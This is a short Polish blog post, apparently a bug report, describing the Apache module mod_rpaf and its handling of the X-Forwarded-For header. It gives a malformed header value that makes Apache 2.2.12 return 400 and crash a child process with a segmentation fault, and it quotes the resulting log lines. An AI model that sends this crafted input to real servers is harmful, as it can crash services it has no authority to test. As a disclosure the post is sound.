rpaf jest modułem wykorzystywanym w web serwerach rodziny Apache.
Zamienia zdalny adres klienta widoczny dla innych modułów Apache w momencie gdy dwa warunki zostają spełnione. Po pierwsze, zdalny klient to w zasadzie proxy, a drugi – jeśli istnieje nagłówek X-Forwarded-For. Wtedy rpaf zabiera ostatni widziany w headerze adres IP i zmienia REMOTE_ADDR na tą wartość. Jest to bardzo pomocne przy logowaniu prawdziwego adresu IP w sytuacji, gdzie przed web serwerem (lub całą farmą) stoi load balancer. Dzięki temu w access.log oraz error.log widzimy faktyczne adresy klientów, którzy przechodzą po drodze przez X węzłów, a nie adresy tych węzłów.
Ostatnia wersja: 0.6
OK, wstęp mamy za sobą. Teraz co się stanie, jeśli dodamy lub zmienimy nagłówek X-Forwarded-For dodając niewłaściwe wartości, jak to pokazałem poniżej?
x-forwarded-for: \’\”);|]*{
<
Apache 2.2.12 zgłosi błąd “400 bad request” po czym jeden wątek, który obsługiwał taki request zaliczy segmentation fault :)
# cat /var/log/apache2/access.log
IP.IP.IP.IP – – [14/Jun/2010:10:24:53 +0200] “GET / HTTP/1.1” 400 573 “referer: -” “-”# cat /var/log/apache2/error.log
[Mon Jun 14 10:27:22 2010] [error] [client IP.IP.IP.IP] request failed: error reading the headers
[Mon Jun 14 10:27:31 2010] [notice] child pid 1877 exit signal Segmentation fault (11)
Czy to się da nadużyć bardziej? Na razie nie wiem.
nice post. thanks.